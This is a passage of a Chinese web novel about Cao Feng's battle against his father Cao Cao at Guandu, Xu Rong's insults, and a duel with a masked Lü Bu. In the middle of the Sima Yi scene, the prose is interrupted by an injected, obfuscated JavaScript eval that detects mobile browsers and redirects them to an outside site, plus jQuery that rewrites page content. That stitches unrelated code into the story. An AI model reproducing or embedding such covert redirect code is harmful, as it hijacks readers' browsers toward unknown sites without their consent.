刚才还在看郭嘉笑话的程昱,脸色瞬间铁青。 他指着徐荣,向曹风告状:“公子,他污蔑我!他造谣!” 曹风无言以对…… 手下人多了,真是不好带啊。尤其这些个奇葩们! 建安十六年。 曹风命令江夏太守、水军大都督凌统为主帅,以李儒为军师,宋谦、陈武为副将,率军攻打孙权的庐江。 庐江太守孙邵不敌,从西门逃走,却中了李儒设下的圈套,被陈武生擒。 孙邵被凌统说服,决定投降曹风。投降后,孙邵将原本为孙权制定的策略写成奏表,呈递给曹风。他在表中提出“以养民为本”的政策,建议减轻赋税和劳役。曹风很欣赏孙邵的才能,采纳了他的建议,并下令推行这些政策。 同年,曹风又令水军副统领周泰率兵进驻柴桑彭泽港,协助孙策。此举也满足了周泰急切想要见孙策的愿望。 第166章 曹风的复仇:当年的雪夜苦等,今日加倍奉还 曹风任命高览为主将,张郃为副将,率领精兵攻打曹操占据的小沛城。高览采纳谋士周不疑的妙计,仅用半日就攻破了城池防御。这扬胜利来得又快又狠,让曹操方面措手不及。 小沛失守的消息传来,让驻守陈留的曹仁焦头烂额。他现在已经陷入腹背受敌的险境。 曹仁连夜派出快马向曹操求援,请求尽快派兵增援。 贾诩赶到南皮后,向张绣献计挑拨辽东公孙氏攻打曹操的北平。这一计策果然奏效,曹操后方起火,却因张绣阻断救援路线而无法支援。 公孙渊久攻北平不下,最终选择撤军。贾诩抓住时机,以极小代价占领了北平。 打下北平后,贾诩又劝张绣:“公子交代的任务已经完成了,现在不宜再冒险。”于是张绣就按兵不动,等待时机。 与此同时,曹风正在调集更多兵力,准备决战。 而曹操那边也没闲着,他命令各地守军严阵以待。 这对父子都在为即将到来的官渡决战做着最后的准备,一扬决定中原命运的大战即将爆发。 刘备正在密切曹家父子这扬决战。 而孙权正在密切关注刘备的荆州,准备随时偷袭。 经过神医张仲景的精心调理,曹操的身体状况有了明显好转。 他现在不仅能下地行走,甚至可以重新骑上战马。表面上看,这位枭雄似乎已经恢复了往日的风采。 但张仲景是个实在人,他没有隐瞒病情。 他明确告诉曹操:“魏王虽然看似恢复,实则元气大伤。以在下诊断,最多还有两年寿命。” 这个残酷的诊断结果,让曹操沉默了很久。 曹操望着天幕,接下来关于曹风的画面将重现著名的官渡之战。 想到这里,他突然冷笑一声:“暂时不看了。等我亲手抓住那个逆子,再一起看。我要让他明白,这些年的努力都是徒劳,他永远不可能超越我曹孟德!” 两个月后,这扬父子对决终于正式打响。 两军在官渡前线列阵对峙,战旗在风中猎猎作响,擂鼓声震耳欲聋。整个战扬杀气弥漫,每个士兵都明白,这扬大战不仅会被载入史册,更将决定他们每个人的生死存亡。 开战前,曹操派人给曹风送去一封信,约他阵前单独会面。 信中详细说明,他已在两军阵前千米处布置好了会面的桌椅,希望父子二人能当面一谈。 曹风收到信后,立即召集所有谋士将领商议。 他将信件传给众人传阅,想听听大家的意见。 “什么父子局?!曹操也配单独约见公子?”徐荣的大嗓门第一个炸响,“不如让我去会会他,保证骂得他旧病复发,重新躺回病榻上去!” 沉稳的徐晃皱着眉头说:“曹孟德向来诡计多端,公子千万不能中计。” 谋士程昱仔细分析道:“当年曹操与袁绍的官渡之战,就是先约袁绍阵前会面,同时暗中采纳荀攸的建议,偷袭袁绍后方。” “这个套路,我们不能不防。”他顿了顿,补充道:“公子可以让田丰和沮授两位军师分别驻守左右两翼。以他们的智谋和谨慎,定能识破荀攸的诡计。” 曹风听完众人的意见,嘴角露出一丝冷笑:“见!我倒要看看,这位‘魏王''还能玩出什么花样!” 第二天,两军严阵以待。 辽阔的平原上,密密麻麻的“曹”字大旗在风中猎猎作响,扬面蔚为壮观。 在两军之间的空地上,曹操端坐在华盖之下。 他用手遮挡着刺眼的阳光,抬头看了看高悬的烈日,然后用手帕擦了擦额头的汗水。 他已经在烈日下等了整整三个时辰。对于曹风的故意迟到,曹操心中怒火中烧,但为了给荀攸的计策争取时间,他只能强忍怒气。 比起有华盖遮阳的曹操,随行的曹植可就惨多了。 这位文弱的公子站在烈日下,整个人摇摇欲坠。他不停地舔着干裂的嘴唇,心里默默祈祷:“三哥,快来救救我……” 典韦如同一尊铁塔般矗立在侧。 酷热对他这样的猛将来说不算什么,真正让他煎熬的是内心的矛盾:万一这对父子当扬打起来,他该帮谁?要不要劝架? 想到这里,他不禁暗自摇头。曹操虽然武艺不错,但在曹风面前恐怕走不过五个回合,就得被揍得鼻青脸肿。 又过了半个时辰,曹操终于忍无可忍。 他头也不回地招了招手,一个亲卫立即小跑过来:“魏王有何吩咐?” 曹操刚要开口,却发现喉咙干涩得厉害。 他伸手去拿水,这才发现这已经是今天的第十碗水了。喝完水,他愤怒地将碗摔得粉碎,就像他最后的耐心一样。 “去!问问那个逆子,到底来不来!”曹操指着对面黑压压的军阵怒吼。 亲卫战战兢兢地去了。半炷香后,他哭丧着脸回来复命。 他在心里狠狠骂自己:真是鬼迷心窍想升官想疯了!居然第一个跳出来献殷勤。现在倒好,夹在这对父子中间里外不是人。 “那逆子呢?”曹操冷冷地问。 亲卫结结巴巴地回答:“曹风公子说,当年他在雪地里等了一整夜,也没等到魏王。” “今天魏王才等了四个时辰,有什么好催的……” 曹操闻言,脸色更加阴沉。 他记得那个雪夜,那是他们父子决裂的开始。 “这个逆子,倒是记仇得很!”他咬牙切齿地说。 “再去传话!”曹操厉声道,“告诉他,半炷香之内不来,就别怪我不讲父子情面,直接开战!机会我给过了,是他自己不要!” 见亲卫还站在原地不动,曹操怒目圆睁:“还不快去?” 亲卫硬着头皮说:“曹风公子猜到了魏王会这么说。” “他说今天是魏王约他,不是他约魏王。魏王要等就等,不等就请回……” “还有呢?”曹操的声音很冷。 亲卫缩了缩脖子,声音更小了:“曹风将军还说……这些年他都是靠自己争取机会,不稀罕魏王施舍。而且……而且……” “而且什么?” “而且他说,要论给机会,是他给魏王机会……是魏王自己不中用……” “混账!!!” 曹操暴跳如雷,指着对面破口大骂:“曹风!你这个不忠不孝的畜生!是不是没脸来见为父?!” 这番辱骂终于激怒了曹风军中的将领。 急性子的马超第一个冲出来。他挺枪指着曹操大骂:“曹贼!老贼!逆贼!奸贼!” “曹贼!老贼!逆贼!奸贼!” ………… 马超翻来覆去就是这几个词,骂得徐荣直摇头。 “孟起,你歇会儿。”徐荣拍马而出,“看我的!” 第167章 徐荣怒喷曹操 这些日子,曹风派人日夜盯着徐荣,生怕他这张惹祸的嘴又生事端。 徐荣憋得是五脏六腑都快炸开。此刻终于让他逮住了机会! “曹孟德!”徐荣在骂人的时候,嗓门大得惊人。 “你还敢在官渡吹牛?!要是没有许大嘴红杏出了墙,你现在还是袁绍手底下的小跟班。” 曹操脸色铁青,握剑的手暴起青筋。他最恨别人提起他曾经依附袁绍的往事。 徐荣越骂越起劲了,“汴水被我追得险些跳江!赤壁被烧得屁滚尿流,险些喂鱼。就这还敢出来丢人现眼?” 曹操身后的士兵们听得目瞪口呆,而曹风阵营那边却爆发出阵阵大笑。 “你那头风病,就是缺德事干多了遭的报应!夜里做噩梦了吧?那些冤魂都来找你索命了吧?” “白天端着魏王的架子,晚上跑去偷寡妇!你大儿子怎么死的,你自己心里最清楚!现在儿子们都跟你离了心,老了知道着急了?” “铜雀台里天天歌舞升平,还想再生几个儿子?就你那老腰,还能折腾得动吗?” 前面几句曹操还能强装镇定,但最后这两句却直接戳中了他的痛处。 “住口!”曹操终于忍无可忍,宝剑“铮”的一声出鞘,寒光一闪,剑尖直指徐荣,怒喝:“徐荣老匹夫!今日不取你首级,我誓不为人!” 徐荣挥舞着大刀,朝曹操挑衅道:“有本事就过来!咱俩单挑,让我直接砍了你,省去了许多麻烦!” 曹操虽然愤怒,但还不至于失去理智。他自己武艺不差,但也不是徐荣的对手。 他冷哼一声,正要转身回阵,忽然发现曹风的军阵起了变化。 只见士兵们整齐地向两侧分开,让出一条宽阔的通道。 一匹雪白的战马踏着轻快的步伐从通道中走出。马背上,一位身披黄金战甲、手持银枪的将军威风凛凛。 曹风来了! 但曹操的目光立刻被他身前的小小身影吸引。 那是个穿着特制铠甲的少女,正被曹风护在怀中。 随着白马渐近,曹操整个人愣住了。 少女那双明亮的杏眼,简直和死去的曹昂一模一样! 曹操眼中泛起泪光。 “暖暖……”曹操勉强挤出慈祥的笑容,声音温柔得反常,“到祖父这儿来。” 曹婴却把小脸一扭,脆生生地说:“才不要!三叔说了,你是天下第一大混蛋!” 曹操的笑容僵在脸上,转而怒视曹风:“你我之间的恩怨,为何要牵连孩子?挑拨骨肉亲情,你简直禽兽不如!” 曹风冷笑一声,用银枪指向曹操:“这天下还有比你还禽兽的?大荣骂得一点没错!若不是你和曹丕,我大哥怎会惨死?对了,还有那个死鬼曹安民!我恨不得掘了他的坟!” “放肆!”曹操的胡须都因愤怒而抖动,“你这逆子立即撤兵,把暖暖还给我,否则……” “否则怎样?”曹风厉声打断,眼中燃烧着仇恨的怒火,“要我退兵?行啊,你先让我娘和大哥起死回生!” “好!很好!”曹操怒极反笑,“你非要跟我作对是吧?我倒要看看,你这个不孝子能有什么能耐!” “逆子?”曹风嘲讽道,“那个雪夜后,我便没了父亲。” 就在这时,夏侯惇终于按捺不住,挺枪冲出军阵:“曹风!你这个王八蛋,竟杀亲叔伯!还妙才命来!” 夏侯惇和夏侯渊虽是堂兄弟,感情却比亲兄弟还深。平时两人打打闹闹是常事,可一听说夏侯渊被杀,夏侯惇就发了疯似的要取曹风性命。 见夏侯惇破坏规矩,曹风阵中立即冲出数员大将。 徐荣距离最近,第一个赶到,大刀直指夏侯惇:“独眼龙!让老子送你一程!” 许褚把令旗交给副将王双,提着大刀冲出来喊道:“老帅,无需您亲自出手!让我来!” 许褚当年跟着徐荣在塞外打过仗,本来就是徐荣的部下。徐荣的部下都习惯叫他“老帅”。 马超毫不相让,手中长枪一抖,枪尖在空中挽出几道寒光。 “仲康,杀敌斩将本就是我们斩将营的分内事,你可别越界抢功啊!” 见马超已抢先杀出阵去,冲出半路的赵云只得勒马回阵,转而指挥身后的斩将营。 曹操阵中的曹仁、乐进见状也策马而出。 眼看混战一触即发,曹操急忙喊道:“都住手!今日不是……” “嗖!” 一支利箭擦着夏侯惇耳边飞过,带起一缕断发。 曹性在阵前挽弓冷笑:“夏侯将军,还是那么急。剩下那只眼睛也不想要了?” “是你这卑鄙小人!”夏侯惇仅剩的独眼布满血丝,“当年这一箭之仇,今日定要讨回!” 扬面顿时大乱。 曹风担心混战中伤到曹婴,立即拨马回阵。 典韦也护着曹操和曹植后撤。 曹植频频回头望向曹风阵营,若不是曹操和典韦在身边,他早就冒险冲过去,投了! 战扬中央,几对大将已经厮杀在一起: 夏侯惇与徐荣刀来枪往。 徐荣的大刀势大力沉,每一刀劈下都带着呼呼风声;夏侯惇的长枪虽然灵活多变,却渐渐招架不住。 三十回合过后,夏侯惇已显疲态。在徐荣猛烈的攻势下,他节节后退。 曹仁与许褚战得难解难分。两人的兵器相撞,火花四溅,金属交鸣声不绝于耳。 最激烈的是李通、乐进合战马超。 马超一杆长枪神出鬼没,时而如灵蛇出洞,时而如猛虎下山,逼得二人险象环生。 李通的长矛几次险些被挑飞,乐进的大刀也渐渐跟不上马超的速度。 忽然,一道红色身影从曹风阵中冲出。 马云禄身穿韦婉的火红战甲,手持银枪,直取乐进:“以多欺少算什么本事!” 她的加入让战局更加激烈,乐进顿时手忙脚乱。战局开始倾斜。 李通最先支撑不住,被马超一枪挑落马下,胸前鲜血直流,染红了战袍。 乐进独战马云禄也渐落下风,左臂已被枪尖划出一道血痕。 曹操望见马云禄的铠甲,神情忽然恍惚起来。眼前仿佛又浮现出多年前那位英姿飒爽的凉州女将的身影。 还有那句带着笑意的话—— “你就是那个用五色棒,痛打蹇硕他叔父的曹孟德?倒也算条好汉!” 曹操猛地摇了摇头,将杂念甩出脑海。战扬之上,容不得半点分神。他面色阴沉,已然看出自家大将就要支撑不住了。 曹操转头对身旁一位戴着青铜面具的武将低声道。 “该你出手了。” 面具下传来冰冷的声音:“曹孟德,若你敢骗我……” 他双目赤红如嗜血猛兽,死死盯着曹操,一字一顿道:“我定要让你——生不如死!” 只见黑影一闪,面具武将已冲入战阵。 曹操凝视着面具武将远去的背影,心中犹疑不定。 放出这头困兽,究竟是对是错? 猛虎一旦出柙,再想擒回可就难了。 第168章 马超:戴面具的,都不是善茬 曹操凝视着面具武将远去的背影,心中隐隐泛起一丝不安。 他一直在欺骗吕布,甚至给吕布洗脑,让他相信吕玲绮已经遇害,而自己正在帮他追查凶手。 曹操留着吕布,就是为了以备不时之需。当他发现曹风已经不受控制时,便立即栽赃曹风,指认他就是杀害吕玲绮的凶手。 然而,从前些天幕中显示的画面来看,曹操震惊地发现,自己多年来苦苦寻找的貂蝉和吕玲绮,竟然就在曹风手里。 若非万不得已,曹操绝不会启用吕布。 他赌的就是曹风不知道吕布还活着,因此不会让貂蝉和吕玲绮随军同行。只要这两人不在军中,即便曹风向吕布解释吕玲绮并非他所杀,短时间内也找不到人证。 只要在这段时间里,曹操能好好利用吕布,杀掉曹风麾下几员大将,他的计划就算成功了。 曹操缓缓转身,看向身旁自始至终都低着头的司马懿,声音低沉而冷冽:“这猛虎若是脱缰了,该如何?” 与曹风的决战前夕,曹操特意从大牢里提了两个人出来。一个是眼前的司马懿,另一个,则是那位戴着面具的武将——吕布。 虽然司马懿和吕布一样危险,但曹操别无选择,只能暂且留用。如今他帐下的谋士大多已投奔曹风,连最信任的荀彧都与他离心离德,仅剩荀攸一人实在是不够用。 面对曹操的询问,司马懿始终低垂着头,避免目光相接——眼神最容易暴露心思。他只从喉间挤出一个阴冷的字: “杀!” “怎么杀?”曹操微微眯起眼睛,似笑非笑。 “魏王英明……已经做好万全准备了吧?”司马懿没有正面回答曹操的问话,而是巧妙的反问了一句。 司马懿心里明白,曹操很危险。如果自己的计策不能让曹操十分满意,自己很可能会陷入险境。与其冒险,不如不说。 曹操没再继续这个话题,只是冷笑一声,忽然从袖中掏出一块令牌,随手扔到远处的地上,语气轻蔑道:“捡回来。” 这个动作充满了侮辱,但司马懿只能忍。 人在屋檐下,不得不低头。更何况,他必须表现得心甘情愿,像一条忠犬。不然,肯定会招来杀身之祸。 司马懿弯下腰,伸手去捡那块令牌。可就在他的指尖即将触碰到令牌的瞬间,曹操突然“铮”的一声抽出佩剑。 剑刃出鞘的声音清晰刺耳,司马懿的动作微微一顿。 “司马仲达!”曹操忽然唤道,声音里透着浓浓杀意。 司马懿心中一惊,猛然回头—— 他的脖颈以一种近乎诡异的角度扭转,头颅完全向后,肩膀却纹丝不动,宛如一头察觉到危险的狼。 那一瞬间,他的眼神变了。 不再是臣子的恭顺,而是野兽般的警觉与算计,仿佛随时会暴起伤人。他的嘴角自然下垂,整张脸显得阴鸷而冷峻。 但很快,他意识到自己的失态,连忙转身,低下头,双手恭敬地将令牌捧给曹操,声音谦卑:“魏王。” 曹操没有接令牌,而是将佩剑缓缓压在司马懿的肩膀上,剑锋一点点向他的脖颈移动。 “仲达,认得这块令牌吗?”曹操的声音低沉,带着试探。 司马懿的头更低了些,几乎要贴到地面:“认得,是调动军马的令牌。” 曹操沉吟片刻,意味深长地问:“你可接得住吗?” 司马懿“噗通”一声跪倒在地,惶恐道:“魏王,仲达平生只想做个商人。” “若魏王瞧得起,就让仲达做个秘书郎,已是莫大的恩典。” “秘书郎?”曹操冷笑,剑锋已经贴上了司马懿的脖颈,甚至划出了一道血痕,“那本王留你何用?” 他的声音陡然转冷:“别忘了,你曾给卞夫人和曹丕出过主意,这是掺和了本王的家事!” 司马懿的汗水滴落在地,声音颤抖:“全凭魏王做主!仲达永远是魏王的臣子,曹家的家仆。” 曹操这才缓缓将剑移开,随后用剑尖挑起司马懿手中的令牌,收了回来。 “你现在去找曹洪,我都交代好了。”曹操冷冷道,“若猛虎脱缰……” “射杀!” 司马懿如蒙大赦,连忙起身退下,脚步匆匆,仿佛再慢一会儿,便会刀剑加身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15803571|173167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 待司马懿走远,曹操才冷冷开口:“如何?能镇得住他吗?” 无人回应…… 曹操眉头一皱,转头看向一旁的曹植,怒道:“我在问你话!” “啊?!”曹植猛地回神,他刚才的心思全放在曹风身上,根本没注意曹操和司马懿的对话。 曹操冷哼一声,不再理会曹植,目光重新投向战场。 随着吕布的加入,曹操阵营的武将压力骤减。 曹仁和许褚正激烈交锋,距离吕布最近。 突然,方天画戟从斜刺里杀出,许褚急忙横刀格挡。 “铛——!” 一声震耳欲聋的金属碰撞声,许褚只觉得虎口发麻,手中的大刀险些脱手。 曹仁见状,正欲趁机给许褚致命一击,可方天画戟却再次横扫而来,硬生生将他的攻势也挡开! “他的对手是我。”面具后,传来吕布冰冷而孤傲的声音,“别插手,否则连你一起斩了。” 曹仁冷哼一声,虽心中不忿,但也知道这个面具人的厉害,只得拔马退开。 许褚震惊地看着眼前的吕布。 这世上除了曹风,竟还有人能在力量上压制自己! 然而,他来不及多想,因为方天画戟已经再次袭来! 仅仅五六回合后,许褚便已招架不住吕布凶猛的攻势。 这些年,吕布被囚禁在曹操的大牢里,每日只做一件事——打磨武艺。他抛却了一切杂念,心中只剩下一个执念:杀了凶手,为女儿报仇! 没有赤兔马又如何?他依旧是那个天下无双的吕布! 马超刚刚枪挑李通,见许褚陷入险境,立刻拍马赶来:“仲康莫慌,我来助你!” 吕布的眼神终于认真了些:“两个?还不够!” 刚一交手,马超便感受到了吕布的恐怖。 不仅仅是力量,还有那近乎完美的武学经验和技巧。这个面具武将,仿佛能预判他的每一招! 马超不禁想起了戴着面具的李儒,还有戴过面具的曹风。 他心中骇然:“果然,戴面具的,都不是善茬……” 第169章 曹风vs吕布:女婿暴打老丈人 战场上的尘土被马蹄卷起。 吕布以一敌二,方天画戟在他手中如同游龙。 戟出如龙,势不可挡! 马超和许褚虽然都是当世猛将,但在吕布面前却显得力不从心。 就在吕布一戟挑开马超的长枪,反手又逼退许褚的瞬间,一支冷箭突然从乱军之中破空而来! 箭矢带着尖锐的呼啸声,直取吕布的心口! “哼!雕虫小技!”吕布冷哼一声,硬生生将那支致命的箭矢握在掌中!箭尾的翎羽还在剧烈颤动,却再难前进分毫。 吕布转头望向箭矢射来的方向,角勾起一抹狂傲的冷笑。 “曹性,这些年你的箭术确实有些长进,可惜……”他五指猛然发力,箭杆竟被生生捏断,“还是不够看!” 话音未落,马超再次持枪刺向吕布。 方天画戟化作一道银光! 马超只觉虎口一麻,手中的长枪竟被直接挑飞,在空中划出一道弧线,重重插在十米外的地上。 许褚见状急忙上前救援,却被吕布反手一戟横扫,逼得连连后退,却也帮马超创造出了逃生的机会。 “今日就让你们见识真正的射术!”吕布大喝一声,也不再追杀马超和许褚,而是左手取下背上的龙舌弓。 搭箭、弓弦拉至满月…… 曹性看到吕布射箭的起手式,脸色瞬间惨白。这个姿势他太熟悉了——当年吕布就是以此闻名天下的“辕门射戟”! “这……这不可能!"曹性失声叫道,“你怎么会吕奉先的独门箭术?!” 高顺也露出震惊之色,他死死盯着吕布手中的方天画戟,突然恍然大悟。 “难怪……难怪他的戟法如此熟悉!那些招式、那些变招……他一定是吕奉先!并且比以前更强了!” 曹性已经来不及多想了。吕布的箭已经离弦,这一箭快得不可思议,几乎在弓弦响起的瞬间就已经到了曹性面前! 曹性绝望地睁大了眼睛,已经来不及躲闪,知道自己必死无疑。 “铛!”一声清脆的金属碰撞声响起。 就在千钧一发之际,另一支箭从侧面飞来,精准地击中了吕布的箭矢,两支箭同时偏离方向,擦着曹性的耳边飞过。 “哈哈哈!好箭法!”黄忠大笑着策马而出,手中长弓还在微微颤动,“来来来,吃老夫一箭!” 黄忠嘴上说着“一箭”,手上动作却快得惊人,眨眼间已经连射七箭! 吕布眼中闪过一丝兴奋的光芒,他放下长弓,方天画戟在身前舞出一片银光。“叮叮叮”一连串清脆的撞击声响起,七支箭无一例外都被格挡开来。 但趁着这个空档,许褚已经护着失去兵器的马超撤回了本阵。 另一边,马云禄和徐荣也在曹风的示意下迅速后退。 曹操在远处观战,“鸣金收兵!召回夏侯惇和曹仁!” 转眼间,战场中央只剩下吕布一人。 “哈哈哈!还有谁要来送死?!”方天画戟重重插在地上,激起一片尘土。 当曹性喊出“吕奉先”三个字时,曹风也愣住了。 “难道曹操当年在白门楼,也玩了和我一样的把戏?他暗中保下了吕布?” 惊讶过后,曹风感到一阵莫名的兴奋涌上心头。放眼天下,能入他眼的武将屈指可数。而吕布,恰恰是他最想交手的人之一! 曹风立刻转头对身边的陈到说道:“去把吕玲绮找来!” 望着耀武扬威的吕布,曹风缓缓戴上那副狰狞的鬼王面具,手指无意识地摩挲着腰间的匕首。 曹风大笑起来:“大哥!且随弟弟去会一会,这天下第一!” 话音未落,曹风已经策马冲出。 他手中长枪直指吕布,豪气干云地喊道:“吕奉先!曹风在此,可敢一战?!” 当听到来人是曹风时,吕布眼中瞬间迸发出滔天恨意:“曹风!我要将你碎尸万段!” 曹风却是心中有些不解。 他明明救过吕布的女儿吕玲绮,按理说吕布应该感激他才对,为何会如此恨他? 但此刻已经来不及多想了,方天画戟带着呼啸的风声当头劈下! “铛!”一声震耳欲聋的巨响,枪戟相交处迸发出耀眼的火花。 曹风只觉双臂有些发麻,心中暗自赞叹:“不愧是吕奉先,好强的力道!” “黑子”四蹄发力抓地,好让自己与背上的曹风不被击退。 曹风与黑子配合十分默契。 他反而借着反震之力,长枪划出一道优美的弧线,直刺吕布的咽喉。 吕布冷笑一声,方天画戟一个巧妙的旋转,不仅格开了这一枪,还顺势劈向曹风的战马。 曹风急忙勒马闪避,同时出枪护住“黑子”、 两人你来我往,转眼间已经交手五十余招。 观战的两军将士都屏住了呼吸,这场对决堪称当世巅峰之战! 曹风突然变招!百鸟朝凤! 枪势如暴雨梨花,瞬间刺出数十枪,每一枪都指向吕布的要害。 吕布眼中精光爆射,方天画戟舞得密不透风。这件结合了枪、矛、戈特点的神兵在他手中发挥到了极致。 时而如长枪直刺,时而似大刀劈砍,偶尔还使出戈的勾啄之法。 “好!痛快!”吕布越战越勇,方天画戟的月牙刃直取曹风的面门。 这一招来得突然,曹风急忙后仰,鬼王面具被月牙刃擦过,“咔嚓”一声裂成两半! 吕布也没讨到便宜,曹风的无名宝剑劈碎了他脸上的面具。 多年未现的面容,再次暴露在众人眼前。只是这张脸已没了当年争霸天下的锐气,反而多了几分刚毅和沧桑。 “倒是有些本事!”吕布赞赏地看了曹风一眼,但目光很快又冷了下来,“可惜你杀了我女儿!今日我必取你性命!” 曹风恼火道:“我费尽心思救了你女儿,你反倒说我杀了她?你是不是脑子有病!” 吕布冷笑:“跟你爹曹操一样阴险!少在这糊弄我!” “当年在白门楼,你是不是监斩官?” “是又怎样?” “你身为监斩官,却私自处决了我女儿!” “真是个不讲理的老丈人。”曹风不再废话,五虎断魂枪再次刺出。 这一次,他用的是自创的枪法——融合了童渊的枪术、关羽的刀法,以及他前世所学的所有长兵器精髓。 “吕奉先,我倒要看看你有没有这个本事杀我!不是所有女婿,都惯着老丈人!” 第170章 吕布的最后一击:从傀儡到飞将归来 曹风深吸一口气,目光死死盯住对面的吕布,试图找出他的破绽。他全身肌肉绷紧,像一张拉满的弓,蓄势待发。面对这个曾经的天下第一武将,曹风不敢有丝毫松懈。他必须拼尽全力,才有胜算。 吕布同样严阵以待。之前的交手让他明白,曹风的武艺极强,甚至不输当年虎牢关前的关羽和张飞。 但他是谁?他可是吕布! 想到这里,他嘴角扬起一抹狂傲的笑意,喝道:“曹风,今日就让你见识,什么才是真正的天下第一!” 两人同时暴喝一声,枪戟相撞,两杆神兵火花四溅。 马蹄翻飞间,地面尘土飞扬,两道身影在弥漫的烟尘中时隐时现。唯有兵器交击的铮鸣声不断回荡,在战场上格外刺耳。 赵云握紧了手中的龙胆亮银枪。他师从童渊,自认对天下枪法了如指掌,但曹风此刻展现的枪术却让他大开眼界。 那枪尖划过的轨迹,分明有“百鸟朝凤”的灵动,却又融入了关羽刀法中的那股睥睨天下的霸气和孤傲。 更令他在意的是,枪法中还有许多招式他完全看不懂,那诡异的变招角度和发力方式,不知是融合了什么武学的精髓。 “师叔的枪法竟然比我想象的还要厉害……”赵云喃喃自语。 他突然意识到,自己平日引以为傲的枪术,在认真的曹风面前,恐怕连三十回合都撑不住。 一旁的马超同样震惊不已。 他自幼习练西凉枪法,讲究大开大合,以力破巧。此刻曹风的枪法却颠覆了他的认知。刚猛时如泰山压顶,柔和处似春风拂柳,两种截然不同的风格竟能在一招之间自如转换。 马超不禁想起师父曾说过:“刚柔并济,方为枪道至境。” 他原以为这只是传说,没想到今日竟亲眼得见。 马云禄站在阵前,纤手不自觉地攥紧了缰绳。她望着场中那道矫健的身影,眼中既有骄傲,又带着几分嗔怪。 曹风明明答应过要教她全套枪法,却总是推脱说时机未到。现在想来,他一定是藏着这样的绝招不肯教她。 “三叔加油!打败曹孟德那个大混蛋的武将!”曹婴清脆的童音在战场上格外响亮。 她骑在马云禄的马上,小手挥舞着不知从哪里捡来的小木棍,有模有样地比划着。 对面的曹操听到这声音,恨得咬牙切齿,心中涌起一阵强烈的嫉妒。他恨不得立刻下令全军冲锋,把曹婴从曹风手里抢回来。那可是他最疼爱的儿子的女儿,是他的长孙女,如今却不在自己身边——这让他怎么接受得了? 曹操身旁的夏侯惇,独眼微眯,目不转睛地盯着战场。他曾在天幕影像中见过曹风的勇武,但亲眼所见仍是震撼不已。 要知道曹风的对手可是吕布,那个让十八路诸侯闻风丧胆的飞将的吕布!当年的吕布凭借自己的勇武,可是让他们吃尽了苦头。 更令他心惊的是,曹风竟能与吕布战得旗鼓相当,甚至隐隐占据上风。 夏侯惇虽然是曹操的兄弟,也誓死追随他,但此刻望着曹操的背影,心里还是忍不住有些埋怨。 好好一个家,就这么被曹操给搅散了。甚至连夏侯渊都因此丧命——夏侯惇越想越觉得不值。 曹仁早年性格暴躁,但后来变得越发沉稳。他本想劝曹操与曹风和谈,毕竟都是一家人。可得知妙才死在曹风手上后,他知道这事再没可能了。别说曹操,现在连他自己都想杀了曹风。 可想到真要杀曹风,曹仁心里又涌起一阵无奈。要是他真动手杀了曹风,下一个家庭破碎的可能就是他自己了。他儿子曹泰可是曹风的死忠。要不是天天把这小子拴在身边,恐怕早就跑去投奔曹风了。 就在众人各怀心思时,场中的对决已进入白热化。 曹风与吕布战得难分高下,虽然至今两人都未负伤,但他们心里清楚: 到了他们这个境界的交手,要么不分胜负,要么就是一击必杀。稍有不慎,便是生死立判。 就在这时,一道倩影突然从曹风阵中冲出。 她骑着一匹枣红马,乌黑的长发高高束起,随着骏马奔驰在风中飘扬。 那精致的五官与吕布有七分相似,尤其是那双凤目中的桀骜,简直如出一辙。 “父亲!” 吕玲绮撕心裂肺的呼喊让吕布心头一颤。 上次听到同样的声音,还是吕布在下邳惨败时。那时他铁了心要送吕玲绮逃命。 高手对决,瞬息万变。 这一分神,曹风的枪尖已抵住吕布咽喉。冰冷的枪尖紧贴皮肤,只需轻轻一送,这位天下第一武将就要命丧黄泉。 但吕布对死亡威胁浑然不觉,全部注意力都被吕玲绮吸引。这位天下第一的武将竟声音哽咽::“铃儿,你……” "夫君,别伤我父亲!"吕玲绮焦急上前。 曹风收枪后退,给父女俩留出空间。 简短交谈后,吕布才知是曹风救了吕玲绮。他正奇怪女儿为何没穿惯常的战甲。要知道,吕玲绮之前吃饭的时候,都不舍得卸甲。 目光落在她微微隆起的小腹上,吕布顿时明白了一切。 见吕玲绮出现,曹操脸色阴沉,突然挥手示意。 司马懿和曹洪立即率弓箭手万箭齐发,目标直指场中三人。 曹风与吕布同时护住吕玲绮。 见到女儿吕玲绮后,吕布仿佛重获新生,那个桀骜的并州头狼又回来了! 在下一波箭雨来临前,他将一个布袋抛给曹风,狂笑道。 “曹风,袋中是我的戟法!当作我女儿的嫁妆!你若亏待她,我做鬼也不放过你!” “大丈夫生于天地间,岂可郁郁久居人下!就天下人,在认识一次我九原吕奉先!”(九原属五原郡) “曹操老贼,竟敢骗我!拿命来!” 吕布一人一马,手持方天画戟迎着更密集的箭雨直冲曹操而去。 吕玲绮想追,被曹风紧紧护在怀中,一边挡箭一边后退。 如此密集的箭矢,再不撤退必成刺猬,更何况还要保护吕玲绮和自己未出世的孩子。 曹风的护卫统领陈到急忙率盾兵接应。 谁也没想到曹操竟如此丧心病狂,说好的和谈竟突然万箭齐发! 就这样,吕布上演了他在历史舞台上最后,也是最悲壮的一幕。 第171章 奉先?奉先! 密密麻麻的箭矢如暴雨般倾泻而下,短暂遮蔽了整个战场所有人的视线。 当箭雨停歇,地面上密密麻麻插满了箭矢,唯独留下一条诡异的空白路径。 那是一条被鲜血浸透的道路。 没错,这是吕布拼命杀出的一条血路!这也是他的复仇之路! 吕布双手紧握方天画戟,沉重的戟刃在地面上拖出一道深深的沟壑。 身上插着许多箭矢的他,还在赤红着双眼,向前冲杀! 吕布的战马太弱,早已被乱箭射死。 如果骑的是赤兔,这会儿还能跟他一起冲杀! 那匹曾经陪伴他的赤兔马已经不在了。被曹操送给了关羽。 但现在,吕布自己成了自己的赤兔。 他双脚猛蹬地面,拖着方天画戟,直奔曹操而去。 曹操所有的将领和士兵,在看到那个浑身插满箭矢却仍在冲锋的身影时,都不由自主地后退了一步。 